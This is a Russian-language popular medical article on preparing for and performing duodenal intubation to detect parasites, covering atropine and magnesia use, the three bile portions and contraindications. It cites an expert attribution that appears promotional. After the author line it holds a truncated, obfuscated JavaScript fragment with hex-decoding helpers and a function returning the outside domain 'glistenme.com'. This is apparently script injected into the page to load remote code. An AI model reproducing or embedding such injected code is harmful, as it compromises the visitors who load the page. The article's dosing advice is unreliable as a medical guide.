Подготовка к дуоденальному зондированию на паразитов
Благодаря зондированию можно составить общую картину состояния желчных путей и качество желчевыделительного процесса. Кроме этого существует возможность определения присутствия паразитов в ЖКТ.
Выделяющиеся пищевым трактом соки являются секретом, содержащимся в отделах двенадцатиперстной кишки:
- желчью, поступающей от желчных протоков;
- секрета поджелудочной железы, находящегося в кишечнике после прохождения вирсунгового протока;
- кишечного сока, вырабатываемого слизистыми;
- желудочное содержимое, поступившее из привратника в двенадцатиперстную кишку.
Зондирование желудочного секрета представляет собой ценную информацию о функционировании поджелудочной железы и о наличии гастроэнтерологических заболеваний.
На сегодняшний день дуоденальное зондирование назначается крайне редко. Его проводят лишь при крайней необходимости, либо в силу специальных показаний. Это может быть подозрение на наличие лямблиозного холецистита, вызванного простейшими – лямблиями, которые прекрасно просматриваются в результатах анализов.
Основными показаниями, указывающими на необходимость проведения зондирования, становится ряд научных исследований для определения некоторых особенностей желчи у пациента. С помощью изучения дуоденального содержимого определяется рН, индекс литогенности, а также проводятся биохимические исследования, говорит паразитолог, главный специалист Центра Паразитологии РФ, врач высшей категории Борис Владимирович Орлов.
Подготовка к процедуре зондирования
Подготовительный этап к процедуре дуоденального зондирования начинается за пять суток до самого исследования. В основе подготовки организма лежит отмена любых препаратов и средств, содержащих ферменты, поскольку их прием приводит к искажению конечного результата исследований.
За сутки до начала процедуры зондирования для пациента показано подкожное введение атропина 0.1%-го раствора, либо внутренний прием 8-ми капель препарата с небольшим количеством воды и растворенным в ней ксилитом в количестве 30-ти грамм.
Накануне пациенту предлагается легкий ужин, исключающий продукты, способствующие газообразованию.
Подготовка включает взятие мазка зева накануне исследований для изучения состава патогенной микрофлоры. Наличие микроорганизмов учитывается с целью недопущения попадания в исследуемые образцы желчи.
Зондирование проводят в утренние часы до приема пищи. Перед процедурой проводится антисептическая обработка полости рта и зева.
Методы проведения исследований
В основе методики дуоденального исследования, как оговаривалось выше, лежит применение специального зонда. Та часть, которая опускается в желудочно-кишечный тракт, оснащена наконечником из металла, имеющим вид перфорированной маслины.
На трубку зонда нанесены отметки специального характера, контролирующие уровень его погружения в пищевод. Зондирующий катетер вводится сидящему на стуле пациенту в пищеварительный тракт. Как только в процессе заглатывания зонд достигает желудка, о чем свидетельствует соответствующая метка, пациента переводят в лежачее на правом боку положение. Это облегчает дальнейший процесс введения зонда в отдел двенадцатиперстной кишки, откуда отбирается первая порция для исследований, обладающая бледно-желтым цветом.
Поджелудочный сок, желчь и дуоденальный секрет – составляющие первой порции секрета, благодаря зондированию.
После прекращения желчевыделения, согласно существующей методике, больному в желудок через катетер вводится 50 миллилитров теплого раствора магнезии для стимуляции процесса пищеварения. Благодаря стимулирующему фактору, в желчных и пузырном протоках производится выделение светлой желчи. Сразу после прекращения отделения порции, выделяемой пузырным протоком, начинается выделение печеночной желчи золотисто-желтого цвета. Это вторая порция секрета для дуоденального исследования.
Третья и заключительная порция для исследований включает секрет желчного пузыря, выделяющегося особо интенсивно. Это вязкая концентрированная жидкость темно-зеленого цвета, стремительно вытекающая из зонда.
Все три порции зондирования раздельно размещаются по пробиркам и по окончании процедуры сразу должны быть отправлены на лабораторный анализ. Микроскопическое исследование может показать наличие паразитов, если таковые имеются в организме пациента.
Результаты исследований
Лабораторные показатели дуоденального исследования показывают:
- Функциональность работы, выполняемую желчным пузырем:
- способность ведения концентрационной деятельности, заключающейся во всасывании молекул воды и сгущения желчи;
- наличие сократительных функций, заключающихся в смешении и выводе желчи в кишечник.
- Состояние жома Одди. Это запирательный сфинктер в форме кольца, который располагается с задней части отдела желчного протока.
- Функциональность жома Люткенса, с запирающими функциями шейки желчного пузыря.
- Состояние желчных протоков.
- Очаги воспалительного процесса в желудочно-кишечном тракте.
- Присутствие болезнетворных микроорганизмов в желчных путях.
- Наличие паразитов – возбудителей инфекционных заболеваний в ЖКТ.
Противопоказания к исследованиям
К разряду противопоказаний к зондированию относится возрастной барьер. Дуоденальное зондирование не проводится детям, не достигшим трехлетнего возраста. Также противопоказанием к исследованиям является наличие:
- астмы;
- гипертонического криза;
- желтухи;
- желудочных кровотечений;
- язвенной болезни в момент обострения.
В заключение следует отметить, что дуоденальное исследование составляющих секрета желчи, благодаря зондированию способно выявить нахождение в ЖКТ паразитов, их яиц и вегетативных форм некоторых гельминтов. Содержание тех или иных форм паразитов в различных порциях желчного секрета, является показателем инвазии в желчном пузыре, двенадцатиперстной кишке, либо в печени.
Автор Войтенко А.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "glistenme.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
(Пока оценок нет)
Загрузка...